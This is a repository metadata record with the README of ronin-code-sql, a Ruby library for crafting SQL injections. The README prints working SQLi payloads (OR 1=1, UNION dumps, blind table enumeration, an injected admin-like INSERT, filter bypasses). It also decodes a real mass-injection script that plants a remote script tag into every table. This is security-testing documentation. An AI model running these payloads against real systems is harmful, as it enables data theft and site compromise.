{"id":23309920,"url":"https://github.com/ronin-rb/ronin-code-sql","last_synced_at":"2025-04-07T17:12:32.400Z","repository":{"id":795714,"uuid":"494611","full_name":"ronin-rb/ronin-code-sql","owner":"ronin-rb","description":"A Ruby DSL for crafting SQL Injections","archived":false,"fork":false,"pushed_at":"2024-08-04T20:36:55.000Z","size":1070,"stargazers_count":44,"open_issues_count":1,"forks_count":5,"subscribers_count":4,"default_branch":"main","last_synced_at":"2024-10-29T14:22:26.611Z","etag":null,"topics":["dsl","infosec","ronin-rb","ruby","sql","sql-injections","websecurity"],"latest_commit_sha":null,"homepage":"https://ronin-rb.dev","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"lgpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ronin-rb.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog.md","contributing":null,"funding":null,"license":"COPYING.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"open_collective":"ronin-rb","patreon":"roninrb"}},"created_at":"2010-01-30T02:35:12.000Z","updated_at":"2024-10-15T19:30:03.000Z","dependencies_parsed_at":"2023-11-23T22:32:50.292Z","dependency_job_id":"7982abe3-b07c-4dfd-b24f-81d47918a185","html_url":"https://github.com/ronin-rb/ronin-code-sql","commit_stats":{"total_commits":924,"total_committers":3,"mean_commits":308.0,"dds":"0.0021645021645021467","last_synced_commit":"20ddeeda66b7b177946f586d71823e399fb91e54"},"previous_names":["ronin-ruby/ronin-sql"],"tags_count":14,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronin-rb%2Fronin-code-sql","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronin-rb%2Fronin-code-sql/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronin-rb%2Fronin-code-sql/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronin-rb%2Fronin-code-sql/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ronin-rb","download_url":"https://codeload.github.com/ronin-rb/ronin-code-sql/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247217302,"owners_count":20903033,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["dsl","infosec","ronin-rb","ruby","sql","sql-injections","websecurity"],"created_at":"2024-12-20T13:13:28.002Z","updated_at":"2025-04-07T17:12:32.375Z","avatar_url":"https://github.com/ronin-rb.png","language":"Ruby","readme":"# ronin-code-sql\n\n[![CI](https://github.com/ronin-rb/ronin-code-sql/actions/workflows/ruby.yml/badge.svg)](https://github.com/ronin-rb/ronin-code-sql/actions/workflows/ruby.yml)\n[![Code Climate](https://codeclimate.com/github/ronin-rb/ronin-code-sql.svg)](https://codeclimate.com/github/ronin-rb/ronin-code-sql)\n[![Gem Version](https://badge.fury.io/rb/ronin-code-sql.svg)](https://badge.fury.io/rb/ronin-code-sql)\n\n* [Source](https://github.com/ronin-rb/ronin-code-sql)\n* [Issues](https://github.com/ronin-rb/ronin-code-sql/issues)\n* [Documentation](https://ronin-rb.dev/docs/ronin-code-sql/frames)\n* [Discord](https://discord.gg/6WAb3PsVX9) |\n  [Mastodon](https://infosec.exchange/@ronin_rb)\n\n## Description\n\n{Ronin::Code::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi].\n\n### Features\n\n* Provides convenience methods for encoding/decoding SQL data.\n* Provides an Domain Specific Language (DSL) for crafting normal SQL and\n  [SQL injections][SQLi].\n* Has 99% documentation coverage.\n* Has 98% test coverage.\n\n## Examples\n\n### Convenience Methods\n\nEscape a String:\n\n```ruby\n\"O'Brian\".sql_escape\n# =\u003e \"'O''Brian'\"\n```\n\nUnescapes a SQL String:\n\n```ruby\n\"'O''Brian'\".sql_unescape\n# =\u003e \"O'Briand\"\n```\n\nHex encode a String:\n\n```ruby\n\"exploit\".sql_encode\n# =\u003e \"0x6578706c6f6974\"\n```\n\nHex decode a String:\n\n```ruby\nstring = \"4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72\"\nstring.sql_decode\n# =\u003e \"DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\\\"\u003e\u003c/title\u003e\u003cscript src=\\\"http://www0.douhunqn.cn/csrss/w.js\\\"\u003e\u003c/script\u003e\u003c!--''+['+@C+'] where '+@C+' not like ''%\\\"\u003e\u003c/title\u003e\u003cscript src=\\\"http://www0.douhunqn.cn/csrss/w.js\\\"\u003e\u003c/script\u003e\u003c!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor\"\n```\n\n### SQLi DSL\n\nInjecting a `1=1` test into a Integer comparison:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.or { 1 == 1 }\nputs sqli\n# 1 OR 1=1\n```\n\nInjecting a `1=1` test into a String comparison:\n\n```ruby\nsqli = Ronin::Code::SQLI.new(escape: :string)\nsqli.or { string(1) == string(1) }\nputs sqli\n# 1' OR '1'='1\n```\n\nColumns:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.and { admin == 1 }\nputs sqli\n# 1 AND admin=1\n```\n\nClauses:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.or { 1 == 1 }.limit(0)\nputs sqli\n# 1 OR 1=1 LIMIT 0\n```\n\nStatements:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.and { 1 == 0 }\nsqli.insert.into(:users).values('hacker','passw0rd','t')\nputs sqli\n# 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')\n```\n\nSub-Statements:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.union { select(1,2,3,4,id).from(users) }\nputs sqli\n# 1 UNION SELECT (1,2,3,4,id) FROM users\n```\n\nTest if a table exists:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.and { select(count).from(:users) == 1 }\nputs sqli\n# 1 AND (SELECT COUNT(*) FROM users)=1\n```\n\nCreate errors by using non-existent tables:\n\n```ruby\nsqli = Ronin::Code::SQLI.new(escape: :string)\nsqli.and { non_existent_table == '1' }\nputs sqli\n# 1' AND non_existent_table='1\n```\n\nDumping all values of a column:\n\n```ruby\nsqli = Ronin::Code::SQLI.new(escape: :string)\nsqli.or { username.is_not(null) }.or { username == '' }\nputs sqli\n# 1' OR username IS NOT NULL OR username='\n```\n\nEnumerate through database table names:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.and {\n  ascii(\n    lower(\n      substring(\n        select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1\n      )\n    )\n  ) \u003e 116\n}\nputs sqli\n# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))\u003e116\n```\n\nFind user supplied tables via the `sysObjects` table:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.union_all {\n  select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }\n}\nputs sqli.to_sql(terminate: true)\n# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--\n```\n\nBypass filters using `/**/` instead of spaces:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.union { select(1,2,3,4,id).from(users) }\nputs sqli.to_sql(space: '/**/')\n# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users\n```\n\nBypass filters using MySQL `#` comments:\n\n```ruby\nsqli = Ronin::Code::SQLI.new\nsqli.or { 1 == 1 }\nputs sqli.to_sql(terminate: true, comment: '#')\n# 1 OR 1=1 OR 1=1;#\n```\n\n## Requirements\n\n* [Ruby] \u003e= 3.0.0\n* [ronin-support] ~\u003e 1.0\n\n## Install\n\n```shell\n$ gem install ronin-code-sql\n```\n\n## License\n\nronin-code-sql - A Ruby DSL for crafting SQL Injections.\n\nCopyright (c) 2007-2025 Hal Brodigan (postmodern.mod3 at gmail.com)\n\nronin-code-sql is free software: you can redistribute it and/or modify\nit under the terms of the GNU Lesser General Public License as published\nby the Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nronin-code-sql is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU Lesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License\nalong with ronin-code-sql.  If not, see \u003chttps://www.gnu.org/licenses/\u003e.\n\n[SQLi]: http://en.wikipedia.org/wiki/SQL_injection\n\n[Ruby]: http://www.ruby-lang.org\n[ronin-support]: https://github.com/ronin-rb/ronin-support#readme\n","funding_links":["https://opencollective.com/ronin-rb","https://patreon.com/roninrb"],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fronin-rb%2Fronin-code-sql","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fronin-rb%2Fronin-code-sql","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fronin-rb%2Fronin-code-sql/lists"}